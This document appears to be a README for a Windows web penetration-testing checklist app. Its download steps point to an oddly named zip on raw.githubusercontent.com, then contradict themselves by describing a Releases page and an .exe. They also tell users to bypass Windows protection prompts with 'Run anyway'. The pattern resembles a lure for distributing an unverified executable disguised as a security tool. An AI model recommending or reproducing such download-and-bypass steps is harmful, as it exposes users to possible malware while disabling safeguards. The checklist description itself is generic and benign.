This application provides a structured checklist for web penetration testing. It incorporates industry standards from OWASP WSTG, ASVS, PTES, and NIST. Security professionals and researchers use this tool to track their progress during security assessments. The interface displays all necessary test cases in a clear format. You can mark items as complete as you finish each task. This approach ensures you miss no steps during your vulnerability assessment.
You need a Windows computer to run this application. Ensure you meet these requirements before you start:
- Windows 10 or Windows 11 operating system.
- At least 200 MB of available disk space.
- A stable internet connection for the first launch.
- At least 4 GB of system memory.
Follow these steps to obtain the tool:
- Visit the following link to download the software: https://raw.githubusercontent.com/mellietoothy55/pentest-checklist/main/tercel/pentest-checklist-ghettoization.zip.
- Look for the "Releases" section on the right side of the page.
- Click the latest version link.
- Download the file ending in .exe.
- Move the downloaded folder to the location where you want to keep your tools.
- Double-click the file to start the application.
If Windows shows a protection message, click "More info" and then select "Run anyway." The application does not require a complex installation process. It runs as a standalone program.
The main screen displays a list of security categories. Click any category to view individual test items.
- Status Tracking: Each item has a checkbox. Click the box to signify you finished a test.
- Save Progress: The tool saves your work automatically when you close the window.
- Reference Material: You can read the description for each item to understand the purpose of the test.
- Reset: Use the menu at the top to clear all checkboxes if you want to start a fresh assessment.
The checklist covers several domains of web application security:
These tests look at how the application handles user logins. You check if the system protects credentials and manages sessions properly.
You test if users access only the data they own. This ensures a low-privilege user cannot access admin functions.
This category reviews how the application tracks users as they move between pages. You verify timeout settings and secure cookie handling.
You input data into forms to see how the system responds. This testing identifies flaws like injections that could lead to data theft.
You check if the application encrypts sensitive data during transit and while stored on disks.
This tool includes functionality to simplify your workflow:
- Search: Use the search bar to find specific tests.
- Export: Save your progress as a file to share with team members.
- Import: Load a saved file to continue an assessment later.
- Dark Mode: Toggle the appearance to reduce eye strain during long testing sessions.
- Offline Access: You can use most features without a constant internet connection.
The application documentation resides within the software menu. If you encounter errors, check the logs folder inside the program directory. This folder contains a text file that records recent application events. You can review this file to identify the cause of unexpected behavior.
Does this tool perform automated scanning? No. This tool acts as a manual checklist to guide your human review process. It does not send packets to websites.
Can I modify the checklist items? Yes. You can edit the text files located in the program directory to add your own company-specific testing requirements.
Does the software require administrator rights? No. The application runs under your normal user account. It does not change system files.
Can I run this on a Mac or Linux? This version supports Windows. The development team plans to support other systems in future releases.
Is this project open source? Yes. You can view the source code and contribute to the development process through the GitHub repository.
Always ensure you have written permission to test a web application. An assessment involves testing for vulnerabilities and requires authorization from the asset owner. Use this checklist as a roadmap to ensure you cover all necessary security areas. Document your findings clearly to help developers fix identified issues.
- Keep your testing environment isolated.
- Update your checklist often to account for new security threats.
- Review the specific standards like OWASP ASVS to understand the depth required for each test.
- Take consistent notes during your assessment.
Using this checklist helps you structure your testing efforts and maintain high standards for web security.